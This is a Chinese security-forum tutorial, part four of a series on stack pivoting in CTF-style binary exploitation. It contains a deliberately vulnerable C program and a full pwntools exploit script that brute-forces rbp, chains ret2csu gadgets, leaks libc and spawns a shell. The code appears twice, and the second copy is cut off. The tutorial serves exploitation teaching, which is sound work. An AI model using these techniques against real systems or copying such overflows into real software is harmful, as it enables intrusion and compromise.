首页
社区
课程
招聘
[原创]钉子户的迁徙之路(四)
发表于: 2024-5-14 08:43 9809

[原创]钉子户的迁徙之路(四)

2024-5-14 08:43
9809

说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm
钉子户的迁徙之路(二):https://bbs.kanxue.com/thread-281650.htm
钉子户的迁徙之路(三):https://bbs.kanxue.com/thread-281688.htm

前面只有涉及到栈的题目中,我们的漏洞都是能覆盖到返回地址,那么如果我们无法覆盖返回地址,只能覆盖 bp 该如何呢?

此时,我们通过爆破rbp的最后一个字节,利用在栈上布置的栈帧来实现ROP

此时只覆盖rbp,并且没有泄露程序,只是简单利用爆栈是无法攻击的,需要利用某些方式让程序重新启动。

上面可以看出,栈迁移作用还是非常大的,但是,它对的前提是非常苛刻的:有确定的迁移地址,一般来说满足情况有以下几种。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x80] ;
    puts("input:");
    read(0,b,0x88);
    //puts("byebye!");
    return 0;
}
 
int main(){
    int x;
    init_func();
    dofunc();
    x=200;
    return 0;
}
//gcc migration_15.c -fno-stack-protector -no-pie -o migration_15_x64
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x80] ;
    puts("input:");
    read(0,b,0x88);
    //puts("byebye!");
    return 0;
}
 
int main(){
    int x;
    init_func();
    dofunc();
    x=200;
    return 0;
}
//gcc migration_15.c -fno-stack-protector -no-pie -o migration_15_x64
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
 
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_15_x64'
    # io = process(pwnfile)
    # io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    libcfile = '/lib/x86_64-linux-gnu/libc.so.6'
    libc = ELF(libcfile)
    context.binary = pwnfile
     
    deadbeef =0xdeadbeef
    read_got = elf.got["read"]
    read_sym = elf.symbols["read"]
    puts_sym = elf.symbols['puts']
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    rep_func = elf.symbols['dofunc']
     
     
    csu_front_addr = 0x401248
    mov_r13_rsi = 0x401220
    xor_rbx = 0x401243
    pop_rbx = 0x0401262
    pop_rbp = pop_rbx + 1
    pop_r12 = pop_rbp + 1
    pop_r13 = pop_r12 + 2
    pop_r14 = pop_r13 + 2
    pop_rsi_r15_ret = pop_r14 + 1
    pop_r15 = pop_r14 + 2
    pop_rdi_ret = pop_r15 + 1
    ret = pop_r15 + 2
     
     
    leave_ret = 0x4011D6
    call_read_addr_0 = 0x4011BB  # lea  rax, [rbp+buf]
    call_read_addr_1 = call_read_addr_0 + 4  # set rdx
    call_read_addr_2 = call_read_addr_1 + 5  # set rsi = rax
    call_read_addr_3 = call_read_addr_2 + 3  # set rdi = 0
    call_read_addr_4 = call_read_addr_3 + 5  # call read
    call_read_addr = call_read_addr_0
        
    target1_rbp = elf.bss() + 0x500
    addr_tmp = target1_rbp + 0x100
    next_rbp_addr = target1_rbp + 0x300
    bin_sh_addr = next_rbp_addr + 0x200
    padding2rbp = 0x80
    nead_padding2rbp = 0x10
    call_read_len = 0x20
    stack_over_flow = call_read_len - padding2rbp
              
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
     
     
    # 本题目栈溢出没有覆盖 rip ,需要使用 ret2csu 爆栈之术,
    # 由于本程序 gcc 版本为新版本,所以可以使用 ret2csu_0x20 爆栈之术
    # 如果 gcc 版本为老版本,那么必须使用 ret2csu_0x30 爆栈之术
    # ret2csu_0x30 使用需要在 bss 段上或者知道栈地址,并且由于需要栈帧过长,一般来说较难使用
    # 输入的长度(含覆盖 rbp 的长度)至少为 0x20(0x30)
    # 当然,为了增加成功率,建议将输入长度适当增加,本题中为 0x88
     
     
    # 这种方法最重要的是第一步、第二步,
    # 使用 0x20 还是 0x30 取决于第一步
    # 第二步主要是根据选择更改 payload
    # 之后的攻击就是常规步骤,本题中选在现迁移再攻击
    # 注意:因为是爆破所以可能出现过了第一、二步仍然不同的情况,此时继续爆破即可
     
    for i in range(10):
        try:
            io = process(pwnfile)
            rbp_1 = target1_rbp
             
            # 第一步:爆破栈的最后一位 ret2csu_0x20 爆栈之术
            payload =  p64(call_read_addr_4) + p64(ret)* 2
            payload =  p64(ret)*((padding2rbp - len(payload))//8) + payload + b"\x00"
            #pause()
            sleep(0.5)
            delimiter = 'input:\n'
            # duchao_pwn_script.dbg(io)
            ru(delimiter)
            s(payload)
             
             
            # 第二步:使用 call read 覆写栈生成 ret2csu_0x20 爆栈之术 ,老版本要用 ret2csu_0x30 爆栈之术,第一步就需要修改
            sleep(0.5)
            # pause()
            payload_ret2csu_0x20 = p64(pop_r14) + p64(0x600) + p64(read_got) + p64(mov_r13_rsi)
            # payload_ret2csu_0x30 = p64(pop_r12) + p64(read_got) + p64(0x600) + p64(rsi) + p64(0) + p64(xor_rbx)
            payload = p64(ret) * ((padding2rbp - len(payload_ret2csu_0x20))//8 + 1) + payload_ret2csu_0x20
            s(payload)
             
             
            # 如果爆破成功,就随意蹂躏程序了,现迁移到 bss 段再进行进攻
            # pause()
            # duchao_pwn_script.dbg(io)
            sleep(0.5)
            payload = p64(ret) * 0x40 
            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': rbp_1, 'arg3': 0x100}   
            payload = payload + duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = rbp_1 ,gcc_ver='new' ) + p64(leave_ret)
            s(payload)
             
            # duchao_pwn_script.dbg(io)
            # pause()
            sleep(0.5)
             
            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': next_rbp_addr, 'arg3': 0x100}
            p1 = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = next_rbp_addr ,gcc_ver='new' )
            payload_final = flat([ret , pop_rdi_ret , leak_func_got , puts_sym ]) + p1 + p64(leave_ret)
             
            s(payload_final)  
            leak_func_addr = u64(r(6).ljust(8, b'\x00'))  # 不同接受代码接受数量不同
            print(hex(leak_func_addr))
             
         
            # 以下代码为查找system及/bin/sh的地址
            system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr, path = libcfile)
            print("system addr is:",hex(system_addr))
            print("bin addr is :",hex(binsh_addr))
            libc_base_addr = system_addr - libc.symbols["system"]
            open_addr = libc_base_addr + libc.symbols["open"]
            write_addr = libc_base_addr + libc.symbols["write"]
            print("libc_base_addr is :",hex(libc_base_addr))
            print("open addr is :",hex(open_addr))
             
            # pause()
            sleep(0.5)
            # duchao_pwn_script.dbg(io)
            payload = flat([ret , ret ,  pop_rdi_ret , binsh_addr , system_addr ])
            s(payload)
            itr()           
             
        except:
            pass
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
 
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_15_x64'
    # io = process(pwnfile)
    # io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    libcfile = '/lib/x86_64-linux-gnu/libc.so.6'
    libc = ELF(libcfile)
    context.binary = pwnfile
     
    deadbeef =0xdeadbeef
    read_got = elf.got["read"]
    read_sym = elf.symbols["read"]
    puts_sym = elf.symbols['puts']
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    rep_func = elf.symbols['dofunc']
     
     
    csu_front_addr = 0x401248
    mov_r13_rsi = 0x401220
    xor_rbx = 0x401243
    pop_rbx = 0x0401262
    pop_rbp = pop_rbx + 1
    pop_r12 = pop_rbp + 1
    pop_r13 = pop_r12 + 2
    pop_r14 = pop_r13 + 2
    pop_rsi_r15_ret = pop_r14 + 1
    pop_r15 = pop_r14 + 2
    pop_rdi_ret = pop_r15 + 1
    ret = pop_r15 + 2
     
     
    leave_ret = 0x4011D6
    call_read_addr_0 = 0x4011BB  # lea  rax, [rbp+buf]
    call_read_addr_1 = call_read_addr_0 + 4  # set rdx
    call_read_addr_2 = call_read_addr_1 + 5  # set rsi = rax
    call_read_addr_3 = call_read_addr_2 + 3  # set rdi = 0
    call_read_addr_4 = call_read_addr_3 + 5  # call read
    call_read_addr = call_read_addr_0
        
    target1_rbp = elf.bss() + 0x500
    addr_tmp = target1_rbp + 0x100
    next_rbp_addr = target1_rbp + 0x300
    bin_sh_addr = next_rbp_addr + 0x200
    padding2rbp = 0x80
    nead_padding2rbp = 0x10
    call_read_len = 0x20
    stack_over_flow = call_read_len - padding2rbp
              
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
     
     
    # 本题目栈溢出没有覆盖 rip ,需要使用 ret2csu 爆栈之术,
    # 由于本程序 gcc 版本为新版本,所以可以使用 ret2csu_0x20 爆栈之术
    # 如果 gcc 版本为老版本,那么必须使用 ret2csu_0x30 爆栈之术
    # ret2csu_0x30 使用需要在 bss 段上或者知道栈地址,并且由于需要栈帧过长,一般来说较难使用
    # 输入的长度(含覆盖 rbp 的长度)至少为 0x20(0x30)
    # 当然,为了增加成功率,建议将输入长度适当增加,本题中为 0x88
     
     
    # 这种方法最重要的是第一步、第二步,
    # 使用 0x20 还是 0x30 取决于第一步
    # 第二步主要是根据选择更改 payload
    # 之后的攻击就是常规步骤,本题中选在现迁移再攻击
    # 注意:因为是爆破所以可能出现过了第一、二步仍然不同的情况,此时继续爆破即可
     
    for i in range(10):
        try:
            io = process(pwnfile)
            rbp_1 = target1_rbp
             
            # 第一步:爆破栈的最后一位 ret2csu_0x20 爆栈之术
            payload =  p64(call_read_addr_4) + p64(ret)* 2
            payload =  p64(ret)*((padding2rbp - len(payload))//8) + payload + b"\x00"
            #pause()
            sleep(0.5)
            delimiter = 'input:\n'
            # duchao_pwn_script.dbg(io)
            ru(delimiter)
            s(payload)
             
             
            # 第二步:使用 call read 覆写栈生成 ret2csu_0x20 爆栈之术 ,老版本要用 ret2csu_0x30 爆栈之术,第一步就需要修改
            sleep(0.5)
            # pause()
            payload_ret2csu_0x20 = p64(pop_r14) + p64(0x600) + p64(read_got) + p64(mov_r13_rsi)
            # payload_ret2csu_0x30 = p64(pop_r12) + p64(read_got) + p64(0x600) + p64(rsi) + p64(0) + p64(xor_rbx)
            payload = p64(ret) * ((padding2rbp - len(payload_ret2csu_0x20))//8 + 1) + payload_ret2csu_0x20
            s(payload)
             
             
            # 如果爆破成功,就随意蹂躏程序了,现迁移到 bss 段再进行进攻
            # pause()
            # duchao_pwn_script.dbg(io)
            sleep(0.5)
            payload = p64(ret) * 0x40 
            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': rbp_1, 'arg3': 0x100}   
            payload = payload + duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = rbp_1 ,gcc_ver='new' ) + p64(leave_ret)
            s(payload)
             
            # duchao_pwn_script.dbg(io)
            # pause()
            sleep(0.5)
             
            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': next_rbp_addr, 'arg3': 0x100}
            p1 = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = next_rbp_addr ,gcc_ver='new' )
            payload_final = flat([ret , pop_rdi_ret , leak_func_got , puts_sym ]) + p1 + p64(leave_ret)
             
            s(payload_final)  
            leak_func_addr = u64(r(6).ljust(8, b'\x00'))  # 不同接受代码接受数量不同
            print(hex(leak_func_addr))
             
         
            # 以下代码为查找system及/bin/sh的地址
            system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr, path = libcfile)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 5
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//